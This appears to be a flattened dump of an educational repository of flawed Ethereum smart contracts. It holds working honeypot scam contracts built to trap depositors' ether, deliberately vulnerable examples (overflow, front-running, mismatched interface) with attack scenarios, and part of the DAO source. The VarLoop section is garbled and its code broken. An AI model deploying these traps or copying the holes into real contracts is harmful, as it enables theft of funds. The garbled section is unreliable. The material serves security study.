kill the contract 182 | } 183 | } 184 | -------------------------------------------------------------------------------- /honeypots/GiftBox/GiftBox.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.19; 2 | 3 | contract NEW_YEARS_GIFT 4 | { 5 | string message; 6 | 7 | bool passHasBeenSet = false; 8 | 9 | address sender; 10 | 11 | bytes32 public hashPass; 12 | 13 | function() public payable{} 14 | 15 | function GetHash(bytes pass) public constant returns (bytes32) {return sha3(pass);} 16 | 17 | function SetPass(bytes32 hash) 18 | public 19 | payable 20 | { 21 | if( (!passHasBeenSet&&(msg.value > 1 ether)) || hashPass==0x0 ) 22 | { 23 | hashPass = hash; 24 | sender = msg.sender; 25 | } 26 | } 27 | 28 | function SetMessage(string _message) 29 | public 30 | { 31 | if(msg.sender==sender) 32 | { 33 | message =_message; 34 | } 35 | } 36 | 37 | function GetGift(bytes pass) 38 | external 39 | payable 40 | returns (string) 41 | { 42 | if(hashPass == sha3(pass)) 43 | { 44 | msg.sender.transfer(this.balance); 45 | return message; 46 | } 47 | } 48 | 49 | function Revoce() 50 | public 51 | payable 52 | { 53 | if(msg.sender==sender) 54 | { 55 | sender.transfer(this.balance); 56 | message=""; 57 | } 58 | } 59 | 60 | function PassHasBeenSet(bytes32 hash) 61 | public 62 | { 63 | if(msg.sender==sender&&hash==hashPass) 64 | { 65 | passHasBeenSet=true; 66 | } 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /honeypots/GiftBox/README.md: -------------------------------------------------------------------------------- 1 | # GiftBox 2 | 3 | ## Trap 4 | Relies on abusing etherscan transaction viewer that does not display 0 value 5 | internal transactions that allows the owner to trap deposited ether in the 6 | contract. 7 | -------------------------------------------------------------------------------- /honeypots/KOTH/KOTH.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.19; 2 | // 3 | //Live TEST ---- Please Do NOT use! Thanks! ---- 4 | // 5 | contract Ownable { 6 | address public owner; 7 | function Ownable() public {owner = msg.sender;} 8 | modifier onlyOwner() {require(msg.sender == owner); _; 9 | } 10 | } 11 | //CEO Throne .. The CEO with the highest stake gets the control over the contract 12 | //msg.value needs to be higher than largestStake when calling Stake() 13 | 14 | contract CEOThrone is Ownable { 15 | address public owner; 16 | uint public largestStake; 17 | // Stake() function being called with 0xde20bc92 and ETH :: recommended gas limit 35.000 18 | // The sent ETH is checked against largestStake 19 | function Stake() public payable { 20 | // if you own the largest stake in a company, you own a company 21 | if (msg.value > largestStake) { 22 | owner = msg.sender; 23 | largestStake = msg.value; 24 | } 25 | } 26 | // withdraw() function being called with 0x3ccfd60b :: recommened gas limit 30.000 27 | function withdraw() public onlyOwner { 28 | // only owner can withdraw funds 29 | msg.sender.transfer(this.balance); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /honeypots/KOTH/README.md: -------------------------------------------------------------------------------- 1 | # King Of The Hill 2 | 3 | ## Trap 4 | Variable shadowing of the `owner` ensures it is never reassigned. 5 | 6 | -------------------------------------------------------------------------------- /honeypots/Lottery/Lottery.sol: -------------------------------------------------------------------------------- 1 | /* 2 | * This is a distributed lottery that chooses random addresses as lucky addresses. If these 3 | * participate, they get the jackpot: 7 times the price of their bet. 4 | * Of course one address can only win once. The owner regularly reseeds the secret 5 | * seed of the contract (based on which the lucky addresses are chosen), so if you did not win, 6 | * just wait for a reseed and try again! 7 | * 8 | * Jackpot chance: 1 in 8 9 | * Ticket price: Anything larger than (or equal to) 0.1 ETH 10 | * Jackpot size: 7 times the ticket price 11 | * 12 | * HOW TO PARTICIPATE: Just send any amount greater than (or equal to) 0.1 ETH to the contract's address 13 | * Keep in mind that your address can only win once 14 | * 15 | * If the contract doesn't have enough ETH to pay the jackpot, it sends the whole balance. 16 | */ 17 | 18 | contract OpenAddressLottery{ 19 | struct SeedComponents{ 20 | uint component1; 21 | uint component2; 22 | uint component3; 23 | uint component4; 24 | } 25 | 26 | address owner; //address of the owner 27 | uint private secretSeed; //seed used to calculate number of an address 28 | uint private lastReseed; //last reseed - used to automatically reseed the contract every 1000 blocks 29 | uint LuckyNumber = 7; //if the number of an address equals 7, it wins 30 | 31 | mapping (address => bool) winner; //keeping track of addresses that have already won 32 | 33 | function OpenAddressLottery() { 34 | owner = msg.sender; 35 | reseed(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp)); //generate a quality random seed 36 | } 37 | 38 | function participate() payable { 39 | if(msg.value<0.1 ether) 40 | return; //verify ticket price 41 | 42 | // make sure he hasn't won already 43 | require(winner[msg.sender] == false); 44 | 45 | if(luckyNumberOfAddress(msg.sender) == LuckyNumber){ //check if it equals 7 46 | winner[msg.sender] = true; // every address can only win once 47 | 48 | uint win=msg.value*7; //win = 7 times the ticket price 49 | 50 | if(win>this.balance) //if the balance isnt sufficient... 51 | win=this.balance; //...send everything we've got 52 | msg.sender.transfer(win); 53 | } 54 | 55 | if(block.number-lastReseed>1000) //reseed if needed 56 | reseed(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp)); //generate a quality random seed 57 | } 58 | 59 | function luckyNumberOfAddress(address addr) constant returns(uint n){ 60 | // calculate the number of current address - 1 in 8 chance 61 | n = uint(keccak256(uint(addr), secretSeed)[0]) % 8; 62 | } 63 | 64 | function reseed(SeedComponents components) internal { 65 | secretSeed = uint256(keccak256( 66 | components.component1, 67 | components.component2, 68 | components.component3, 69 | components.component4 70 | )); //hash the incoming parameters and use the hash to (re)initialize the seed 71 | lastReseed = block.number; 72 | } 73 | 74 | function kill() { 75 | require(msg.sender==owner); 76 | 77 | selfdestruct(msg.sender); 78 | } 79 | 80 | function forceReseed() { //reseed initiated by the owner - for testing purposes 81 | require(msg.sender==owner); 82 | 83 | SeedComponents s; 84 | s.component1 = uint(msg.sender); 85 | s.component2 = uint256(block.blockhash(block.number - 1)); 86 | s.component3 = block.difficulty*(uint)(block.coinbase); 87 | s.component4 = tx.gasprice * 7; 88 | 89 | reseed(s); //reseed 90 | } 91 | 92 | function () payable { //if someone sends money without any function call, just assume he wanted to participate 93 | if(msg.value>=0.1 ether && msg.sender!=owner) //owner can't participate, he can only fund the jackpot 94 | participate(); 95 | } 96 | 97 | } 98 | -------------------------------------------------------------------------------- /honeypots/Lottery/README.md: -------------------------------------------------------------------------------- 1 | # Lottery 2 | 3 | ## Trap 4 | Unitialized structs default to acting like storage pointers, allowing the owner 5 | to use the `Seecomponent s` variable to overwrite private variables. 6 | -------------------------------------------------------------------------------- /honeypots/Multiplicator/Multiplicator.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | contract Multiplicator 4 | { 5 | address public Owner = msg.sender; 6 | 7 | function()payable{} 8 | 9 | function withdraw() 10 | payable 11 | public 12 | { 13 | require(msg.sender == Owner); 14 | Owner.transfer(this.balance); 15 | } 16 | 17 | function multiplicate(address adr) 18 | payable 19 | { 20 | if(msg.value>=this.balance) 21 | { 22 | adr.transfer(this.balance+msg.value); 23 | } 24 | } 25 | } 26 | 27 | -------------------------------------------------------------------------------- /honeypots/Multiplicator/README.md: -------------------------------------------------------------------------------- 1 | # Multiplicator 2 | 3 | ## Trap 4 | Abuses global variable semantics of `this.balance` to ensure an impossible 5 | conditional branch. 6 | -------------------------------------------------------------------------------- /honeypots/PrivateBank/PrivateBank.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.19; 2 | 3 | contract Private_Bank 4 | { 5 | mapping (address => uint) public balances; 6 | 7 | uint public MinDeposit = 1 ether; 8 | 9 | Log TransferLog; 10 | 11 | function Private_Bank(address _log) 12 | { 13 | TransferLog = Log(_log); 14 | } 15 | 16 | function Deposit() 17 | public 18 | payable 19 | { 20 | if(msg.value >= MinDeposit) 21 | { 22 | balances[msg.sender]+=msg.value; 23 | TransferLog.AddMessage(msg.sender,msg.value,"Deposit"); 24 | } 25 | } 26 | 27 | function CashOut(uint _am) 28 | { 29 | if(_am<=balances[msg.sender]) 30 | { 31 | 32 | if(msg.sender.call.value(_am)()) 33 | { 34 | balances[msg.sender]-=_am; 35 | TransferLog.AddMessage(msg.sender,_am,"CashOut"); 36 | } 37 | } 38 | } 39 | 40 | function() public payable{} 41 | 42 | } 43 | 44 | contract Log 45 | { 46 | 47 | struct Message 48 | { 49 | address Sender; 50 | string Data; 51 | uint Val; 52 | uint Time; 53 | } 54 | 55 | Message[] public History; 56 | 57 | Message LastMsg; 58 | 59 | function AddMessage(address _adr,uint _val,string _data) 60 | public 61 | { 62 | LastMsg.Sender = _adr; 63 | LastMsg.Time = now; 64 | LastMsg.Val = _val; 65 | LastMsg.Data = _data; 66 | History.push(LastMsg); 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /honeypots/PrivateBank/README.md: -------------------------------------------------------------------------------- 1 | # Private Bank 2 | 3 | ## Trap 4 | External constructor of a `Log` contract does not mirror code included in the 5 | contract and does not succeed if caller is not the owner. 6 | -------------------------------------------------------------------------------- /honeypots/README.md: -------------------------------------------------------------------------------- 1 | # Honeypot Collection 2 | 3 | The Ethereum community has recently stumbled on a wide slew of honeypot smart contracts operating on the mainnet blockchain - something that we have been investigating for quite some time. They’re designed to entice security researchers and developers to deposit Ethereum into the contract to obtain a chance to exploit ‘easy vulnerabilities’ in Solidity. However, once payment is deposited, the contracts will deploy subtle traps and quirks to lock out the user from successfully claiming the “prize.” 4 | 5 | The traps vary in sophistication. Our blockchain security research has turned up six fundamental archetypes that construct most of these honeypots. Some of these contracts are weeks old. A few were released before September, 2017. Many seem to be moderately successful - trapping around 0.1 ether and containing approximately 5 transactions on average. Yet for every successful trap, a large minority of contracts had no interaction at all. These ‘failed honeypots’ most likely served the original developers as a testing environment. The existence of these contracts must be taken into account by academic researchers quantifying the effectiveness of tools and analysis methods for the Ethereum blockchain, given the potential to skew research results. 6 | 7 | Versions of the most recent compilers will emit warnings of most of these traps during compilation. However, some of the contracts rely on logic gaps in the solc compiler and the Solidity language itself. 8 | 9 | 10 | ## [King of the Hill](KOTH/) 11 | 12 | At first glance this contract appears to be your average King of the Hill ponzi scheme. Participants contribute ether to the contract via the `Stake()` function that keeps track of the latest `owner` and ether deposit that allowed them to become to the current owner. The `withdraw()` function employs an `onlyOwner` modifier, seemingly allowing only the last person recently throned the ability to transfer all funds out of the contract. Stumbling upon this contract on etherscan and seeing an existing balance, one might think that there is a chance to gain some easy ether by taking advantage of a quick `Stake()` claim and subsequent `withdraw()`. 13 | 14 | The heart of the honeypot lies in the fact that the owner variable qualifying the `onlyOwner` modifier is not the one being reassigned in the `Stake()` function. This is a particularly nasty bug that is made even more insidious by the fact that the solc compiler will throw no error or warning indicating that the owner address is in fact being [shadowed](https://github.com/trailofbits/not-so-smart-contracts/tree/master/variable%20shadowing) by the inheriting `CEOThrone` contract. By re-declaring the variable in the child’s scope, the contract ensures that owner in `Ownable` is actually never reassigned at all and allows the original creator to dump all funds at their leisure. 15 | 16 | ## [Multiplicator](Multiplicator/) 17 | 18 | Here is another ponzi-esque contract that promises to multiply your ‘investment’ by returning to you your initial deposit in addition to the current total balance of ether in the contract. The only condition is that the amount you send into the `multiplicate()` function must be greater than the current balance. 19 | 20 | The contract takes advantage of the fact that the global variable balance on the contract will always contain any ether sent to payable functions attached to `msg.value`. As a result, the condition `if(msg.value>=this.balance)` will always fail and the transfer will never occur. The `multiplicate()` function itself affirms the erroneous assumption by setting the transfer parameter as `this.balance+msg.value` (instead of only `this.balance`) 21 | 22 | ## [VarLoop](VarLoop/) 23 | 24 | The contract appears vulnerable to a constructor mismatch, allowing anyone to call the public method `Test1()` and double any ether they send to the function. The calculation involves a while loop which is strange, but the bounds conditions seem correct enough. 25 | 26 | One of the features of Solidity is that it seeks to mimic JavaScript in its language syntax and style. This is ostensibly to ease onboarding of developers with something familiar. In this case, the contract takes advantage of different semantics between Solidity and JavaScript to create type confusion. The var keyword allows the compiler to infer the type of the assignment when declaring a variable. In this instance, `i1` and `i2` are resolved to fact be `uint8`. As such, their maximum value will be 255 before overflow -- causing the loop condition `if(i1=1 ether) 22 | { 23 | 24 | var i1 = 1; 25 | var i2 = 0; 26 | var amX2 = msg.value*2; 27 | 28 | while(true) 29 | { 30 | if(i1amX2)break; 32 | 33 | i2=i1; 34 | i1++; 35 | } 36 | msg.sender.transfer(i2); 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /incorrect_interface/Alice.sol: -------------------------------------------------------------------------------- 1 | 2 | pragma solidity ^0.4.15; 3 | 4 | contract Alice { 5 | int public val; 6 | 7 | function set(int new_val){ 8 | val = new_val; 9 | } 10 | 11 | function set_fixed(int new_val){ 12 | val = new_val; 13 | } 14 | 15 | function(){ 16 | val = 1; 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /incorrect_interface/Bob.sol: -------------------------------------------------------------------------------- 1 | 2 | pragma solidity ^0.4.15; 3 | 4 | contract Alice { 5 | function set(uint); 6 | function set_fixed(int); 7 | } 8 | 9 | contract Bob { 10 | function set(Alice c){ 11 | c.set(42); 12 | } 13 | 14 | function set_fixed(Alice c){ 15 | c.set_fixed(42); 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /incorrect_interface/README.md: -------------------------------------------------------------------------------- 1 | # Incorrect interface 2 | A contract interface defines functions with a different type signature than the implementation, causing two different method id's to be created. 3 | As a result, when the interfact is called, the fallback method will be executed. 4 | 5 | ## Attack Scenario 6 | 7 | - The interface is incorrectly defined. `Alice.set(uint)` takes an `uint` in `Bob.sol` but `Alice.set(int)` a `int` in `Alice.sol`. The two interfaces will produce two differents method IDs. As a result, Bob will call the fallback function of Alice rather than of `set`. 8 | 9 | ## Mitigations 10 | 11 | Verify that type signatures are identical between inferfaces and implementations. 12 | 13 | ## Example 14 | 15 | We now walk through how to find this vulnerability in the [Alice](Alice.sol) and [Bob](Bob.sol) contracts in this repo. 16 | 17 | First, get the bytecode and the abi of the contracts: 18 | ```̀bash 19 | $ solc --bin Alice.sol 20 | 6060604052341561000f57600080fd5b5b6101158061001f6000396000f300606060405236156051576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680633c6bb436146067578063a5d5e46514608d578063e5c19b2d1460ad575b3415605b57600080fd5b5b60016000819055505b005b3415607157600080fd5b607760cd565b6040518082815260200191505060405180910390f35b3415609757600080fd5b60ab600480803590602001909190505060d3565b005b341560b757600080fd5b60cb600480803590602001909190505060de565b005b60005481565b806000819055505b50565b806000819055505b505600a165627a7a723058207d0ad6d1ce356adf9fa0284c9f887bb4b912204886b731c37c2ae5d16aef19a20029 21 | $ solc --abi Alice.sol 22 | [{"constant":true,"inputs":[],"name":"val","outputs":[{"name":"","type":"int256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"new_val","type":"int256"}],"name":"set_fixed","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"new_val","type":"int256"}],"name":"set","outputs":[],"payable":false,"type":"function"},{"payable":false,"type":"fallback"}] 23 | 24 | 25 | $ solc --bin Bob.sol 26 | 6060604052341561000f57600080fd5b5b6101f58061001f6000396000f30060606040526000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680632801617e1461004957806390b2290e14610082575b600080fd5b341561005457600080fd5b610080600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506100bb565b005b341561008d57600080fd5b6100b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610142565b005b8073ffffffffffffffffffffffffffffffffffffffff166360fe47b1602a6040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561012a57600080fd5b6102c65a03f1151561013b57600080fd5b5050505b50565b8073ffffffffffffffffffffffffffffffffffffffff1663a5d5e465602a6040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15156101b157600080fd5b6102c65a03f115156101c257600080fd5b5050505b505600a165627a7a72305820f8c9dcade78d92097c18627223a8583507e9331ef1e5de02640ffc2e731111320029 27 | $ solc --abi Bob.sol 28 | [{"constant":false,"inputs":[{"name":"c","type":"address"}],"name":"set","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"c","type":"address"}],"name":"set_fixed","outputs":[],"payable":false,"type":"function"}] 29 | ``` 30 | 31 | The following commands were tested on a private blockchain 32 | 33 | ```javascript 34 | $ get attach 35 | 36 | // this unlock the account for a limited amount of time 37 | // if you have an error: 38 | // Error: authentication needed: password or unlock 39 | // you can to call unlockAccount again 40 | personal.unlockAccount(eth.accounts[0], "apasswordtochange") 41 | 42 | var bytecodeAlice = '0x6060604052341561000f57600080fd5b5b6101158061001f6000396000f300606060405236156051576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680633c6bb436146067578063a5d5e46514608d578063e5c19b2d1460ad575b3415605b57600080fd5b5b60016000819055505b005b3415607157600080fd5b607760cd565b6040518082815260200191505060405180910390f35b3415609757600080fd5b60ab600480803590602001909190505060d3565b005b341560b757600080fd5b60cb600480803590602001909190505060de565b005b60005481565b806000819055505b50565b806000819055505b505600a165627a7a723058207d0ad6d1ce356adf9fa0284c9f887bb4b912204886b731c37c2ae5d16aef19a20029' 43 | var abiAlice = [{"constant":true,"inputs":[],"name":"val","outputs":[{"name":"","type":"int256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"new_val","type":"int256"}],"name":"set_fixed","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"new_val","type":"int256"}],"name":"set","outputs":[],"payable":false,"type":"function"},{"payable":false,"type":"fallback"}] 44 | 45 | var bytecodeBob = '0x6060604052341561000f57600080fd5b5b6101f58061001f6000396000f30060606040526000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680632801617e1461004957806390b2290e14610082575b600080fd5b341561005457600080fd5b610080600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506100bb565b005b341561008d57600080fd5b6100b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610142565b005b8073ffffffffffffffffffffffffffffffffffffffff166360fe47b1602a6040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561012a57600080fd5b6102c65a03f1151561013b57600080fd5b5050505b50565b8073ffffffffffffffffffffffffffffffffffffffff1663a5d5e465602a6040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15156101b157600080fd5b6102c65a03f115156101c257600080fd5b5050505b505600a165627a7a72305820f8c9dcade78d92097c18627223a8583507e9331ef1e5de02640ffc2e731111320029' 46 | var abiBob = [{"constant":false,"inputs":[{"name":"c","type":"address"}],"name":"set","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"c","type":"address"}],"name":"set_fixed","outputs":[],"payable":false,"type":"function"}] 47 | 48 | var contractAlice = eth.contract(abiAlice); 49 | var txDeployAlice = {from:eth.coinbase, data: bytecodeAlice, gas: 1000000}; 50 | var contractPartialInstanceAlice = contractAlice.new(txDeployAlice); 51 | 52 | // Wait to mine the block containing the transaction 53 | 54 | var alice = contractAlice.at(contractPartialInstanceAlice.address); 55 | 56 | var contractBob = eth.contract(abiBob); 57 | var txDeployBob = {from:eth.coinbase, data: bytecodeBob, gas: 1000000}; 58 | var contractPartialInstanceBob = contractBob.new(txDeployBob); 59 | 60 | // Wait to mine the block containing the transaction 61 | 62 | var bob = contractBob.at(contractPartialInstanceBob.address); 63 | 64 | // From now, wait for each transaction to be mined before calling 65 | // the others transactions 66 | 67 | // print the default value of val: 0 68 | alice.val() 69 | 70 | // call bob.set, as the interface is wrong, it will call 71 | // the fallback function of alice 72 | bob.set(alice.address, {from: eth.accounts[0]} ) 73 | // print val: 1 74 | alice.val() 75 | 76 | // call the fixed version of the interface 77 | bob.set_fixed(alice.address, {from: eth.accounts[0]} ) 78 | // print val: 42 79 | alice.val() 80 | ``` 81 | 82 | 83 | -------------------------------------------------------------------------------- /integer_overflow/README.md: -------------------------------------------------------------------------------- 1 | # Integer Overflow 2 | 3 | It is possible to cause `add` and `sub` to overflow (or underflow) on any type of integer in Solidity. 4 | 5 | ## Attack Scenarios 6 | 7 | - Attacker has 5 of some ERC20 token. They spend 6, but because the token doesn't check for underflows, 8 | they wind up with 2^256 tokens. 9 | 10 | - A contract contains a dynamic array and an unsafe `pop` method. An attacker can underflow the length of 11 | the array and alter other variables in the contract. 12 | 13 | ## Mitigations 14 | 15 | - Use openZeppelin's [safeMath library](https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol) 16 | - Validate all arithmetic 17 | 18 | ## Examples 19 | 20 | - In [integer_overflow_1](interger_overflow_1.sol), we give both unsafe and safe version of 21 | the `add` operation. 22 | 23 | - [A submission](https://github.com/Arachnid/uscc/tree/master/submissions-2017/doughoyte) to the Underhanded Solidity Coding Contest that explots the unsafe dynamic array bug outlined above 24 | 25 | -------------------------------------------------------------------------------- /integer_overflow/integer_overflow_1.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.15; 2 | 3 | contract Overflow { 4 | uint private sellerBalance=0; 5 | 6 | function add(uint value) returns (bool){ 7 | sellerBalance += value; // possible overflow 8 | 9 | // possible auditor assert 10 | // assert(sellerBalance >= value); 11 | } 12 | 13 | function safe_add(uint value) returns (bool){ 14 | require(value + sellerBalance >= sellerBalance); 15 | sellerBalance += value; 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /race_condition/README.md: -------------------------------------------------------------------------------- 1 | # Race Condition 2 | There is a gap between the creation of a transaction and the moment it is accepted in the blockchain. 3 | Therefore, an attacker can take advantage of this gap to put a contract in a state that advantages them. 4 | 5 | ## Attack Scenario 6 | 7 | - Bob creates `RaceCondition(100, token)`. Alice trusts `RaceCondition` with all its tokens. Alice calls `buy(150)` 8 | Bob sees the transaction, and calls `changePrice(300)`. The transaction of Bob is mined before the one of Alice and 9 | as a result, Bob received 300 tokens. 10 | 11 | - The ERC20 standard's `approve` and `transferFrom` functions are vulnerable to a race condition. Suppose Alice has 12 | approved Bob to spend 100 tokens on her behalf. She then decides to only approve him for 50 tokens and sends 13 | a second `approve` transaction. However, Bob sees that he's about to be downgraded and quickly submits a 14 | `transferFrom` for the original 100 tokens he was approved for. If this transaction gets mined before Alice's 15 | second `approve`, Bob will be able to spend 150 of Alice's tokens. 16 | 17 | ## Mitigations 18 | 19 | - For the ERC20 bug, insist that Alice only be able to `approve` Bob when he is approved for 0 tokens. 20 | - Keep in mind that all transactions may be front-run 21 | 22 | ## Examples 23 | - [Race condition](RaceCondition.sol) outlined in the first bullet point above 24 | -------------------------------------------------------------------------------- /race_condition/RaceCondition.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.16; 2 | 3 | // https://github.com/ethereum/EIPs/issues/20 4 | contract ERC20 { 5 | function totalSupply() constant returns (uint totalSupply); 6 | function balanceOf(address _owner) constant returns (uint balance); 7 | function transfer(address _to, uint _value) returns (bool success); 8 | function transferFrom(address _from, address _to, uint _value) returns (bool success); 9 | function approve(address _spender, uint _value) returns (bool success); 10 | function allowance(address _owner, address _spender) constant returns (uint remaining); 11 | event Transfer(address indexed _from, address indexed _to, uint _value); 12 | event Approval(address indexed _owner, address indexed _spender, uint _value); 13 | } 14 | 15 | contract RaceCondition{ 16 | address private owner; 17 | uint public price; 18 | ERC20 token; 19 | 20 | function RaceCondition(uint _price, ERC20 _token) 21 | public 22 | { 23 | owner = msg.sender; 24 | price = _price; 25 | token = _token; 26 | } 27 | 28 | // If the owner sees someone calls buy 29 | // he can call changePrice to set a new price 30 | // If his transaction is mined first, he can 31 | // receive more tokens than excepted by the new buyer 32 | function buy(uint new_price) payable 33 | public 34 | { 35 | require(msg.value >= price); 36 | 37 | // we assume that the RaceCondition contract 38 | // has enough allowance 39 | token.transferFrom(msg.sender, owner, price); 40 | 41 | price = new_price; 42 | owner = msg.sender; 43 | } 44 | 45 | function changePrice(uint new_price){ 46 | require(msg.sender == owner); 47 | price = new_price; 48 | } 49 | 50 | } 51 | -------------------------------------------------------------------------------- /reentrancy/DAO_source_code/DAO.sol: -------------------------------------------------------------------------------- 1 | // 0xbb9bc244d798123fde783fcc1c72d3bb8c189413#code 2 | 3 | /* 4 | 5 | - Bytecode Verification performed was compared on second iteration - 6 | 7 | This file is part of the DAO. 8 | 9 | The DAO is free software: you can redistribute it and/or modify 10 | it under the terms of the GNU lesser General Public License as published by 11 | the Free Software Foundation, either version 3 of the License, or 12 | (at your option) any later version. 13 | 14 | The DAO is distributed in the hope that it will be useful, 15 | but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | GNU lesser General Public License for more details. 18 | 19 | You should have received a copy of the GNU lesser General Public License 20 | along with the DAO. If not, see . 21 | */ 22 | 23 | 24 | /* 25 | Basic, standardized Token contract with no "premine". Defines the functions to 26 | check token balances, send tokens, send tokens on behalf of a 3rd party and the 27 | corresponding approval process. Tokens need to be created by a derived 28 | contract (e.g. TokenCreation.sol). 29 | 30 | Thank you ConsenSys, this contract originated from: 31 | https://github.com/ConsenSys/Tokens/blob/master/Token_Contracts/contracts/Standard_Token.sol 32 | Which is itself based on the Ethereum standardized contract APIs: 33 | https://github.com/ethereum/wiki/wiki/Standardized_Contract_APIs 34 | */ 35 | 36 | /// @title Standard Token Contract. 37 | 38 | contract TokenInterface { 39 | mapping (address => uint256) balances; 40 | mapping (address => mapping (address => uint256)) allowed; 41 | 42 | /// Total amount of tokens 43 | uint256 public totalSupply; 44 | 45 | /// @param _owner The address from which the balance will be retrieved 46 | /// @return The balance 47 | function balanceOf(address _owner) constant returns (uint256 balance); 48 | 49 | /// @notice Send `_amount` tokens to `_to` from `msg.sender` 50 | /// @param _to The address of the recipient 51 | /// @param _amount The amount of tokens to be transferred 52 | /// @return Whether the transfer was successful or not 53 | function transfer(address _to, uint256 _amount) returns (bool success); 54 | 55 | /// @notice Send `_amount` tokens to `_to` from `_from` on the condition it 56 | /// is approved by `_from` 57 | /// @param _from The address of the origin of the transfer 58 | /// @param _to The address of the recipient 59 | /// @param _amount The amount of tokens to be transferred 60 | /// @return Whether the transfer was successful or not 61 | function transferFrom(address _from, address _to, uint256 _amount) returns (bool success); 62 | 63 | /// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on 64 | /// its behalf 65 | /// @param _spender The address of the account able to transfer the tokens 66 | /// @param _amount The amount of tokens to be approved for transfer 67 | /// @return Whether the approval was successful or not 68 | function approve(address _spender, uint256 _amount) returns (bool success); 69 | 70 | /// @param _owner The address of the account owning tokens 71 | /// @param _spender The address of the account able to transfer the tokens 72 | /// @return Amount of remaining tokens of _owner that _spender is allowed 73 | /// to spend 74 | function allowance( 75 | address _owner, 76 | address _spender 77 | ) constant returns (uint256 remaining); 78 | 79 | event Transfer(address indexed _from, address indexed _to, uint256 _amount); 80 | event Approval( 81 | address indexed _owner, 82 | address indexed _spender, 83 | uint256 _amount 84 | ); 85 | } 86 | 87 | 88 | contract Token is TokenInterface { 89 | // Protects users by preventing the execution of method calls that 90 | // inadvertently also transferred ether 91 | modifier noEther() {if (msg.value > 0) throw; _} 92 | 93 | function balanceOf(address _owner) constant returns (uint256 balance) { 94 | return balances[_owner]; 95 | } 96 | 97 | function transfer(address _to, uint256 _amount) noEther returns (bool success) { 98 | if (balances[msg.sender] >= _amount && _amount > 0) { 99 | balances[msg.sender] -= _amount; 100 | balances[_to] += _amount; 101 | Transfer(msg.sender, _to, _amount); 102 | return true; 103 | } else { 104 | return false; 105 | } 106 | } 107 | 108 | function transferFrom( 109 | address _from, 110 | address _to, 111 | uint256 _amount 112 | ) noEther returns (bool success) { 113 | 114 | if (balances[_from] >= _amount 115 | && allowed[_from][msg.sender] >= _amount 116 | && _amount > 0) { 117 | 118 | balances[_to] += _amount; 119 | balances[_from] -= _amount; 120 | allowed[_from][msg.sender] -= _amount; 121 | Transfer(_from, _to, _amount); 122 | return true; 123 | } else { 124 | return false; 125 | } 126 | } 127 | 128 | function approve(address _spender, uint256 _amount) returns (bool success) { 129 | allowed[msg.sender][_spender] = _amount; 130 | Approval(msg.sender, _spender, _amount); 131 | return true; 132 | } 133 | 134 | function allowance(address _owner, address _spender) constant returns (uint256 remaining) { 135 | return allowed[_owner][_spender]; 136 | } 137 | } 138 | 139 | 140 | /* 141 | This file is part of the DAO. 142 | 143 | The DAO is free software: you can redistribute it and/or modify 144 | it under the terms of the GNU lesser General Public License as published by 145 | the Free Software Foundation, either version 3 of the License, or 146 | (at your option) any later version. 147 | 148 | The DAO is distributed in the hope that it will be useful, 149 | but WITHOUT ANY WARRANTY; without even the implied warranty of 150 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 151 | GNU lesser General Public License for more details. 152 | 153 | You should have received a copy of the GNU lesser General Public License 154 | along with the DAO. If not, see . 155 | */ 156 | 157 | 158 | /* 159 | Basic account, used by the DAO contract to separately manage both the rewards 160 | and the extraBalance accounts. 161 | */ 162 | 163 | contract ManagedAccountInterface { 164 | // The only address with permission to withdraw from this account 165 | address public owner; 166 | // If true, only the owner of the account can receive ether from it 167 | bool public payOwnerOnly; 168 | // The sum of ether (in wei) which has been sent to this contract 169 | uint public accumulatedInput; 170 | 171 | /// @notice Sends `_amount` of wei to _recipient 172 | /// @param _amount The amount of wei to send to `_recipient` 173 | /// @param _recipient The address to receive `_amount` of wei 174 | /// @return True if the send completed 175 | function payOut(address _recipient, uint _amount) returns (bool); 176 | 177 | event PayOut(address indexed _recipient, uint _amount); 178 | } 179 | 180 | 181 | contract ManagedAccount is ManagedAccountInterface{ 182 | 183 | // The constructor sets the owner of the account 184 | function ManagedAccount(address _owner, bool _payOwnerOnly) { 185 | owner = _owner; 186 | payOwnerOnly = _payOwnerOnly; 187 | } 188 | 189 | // When the contract receives a 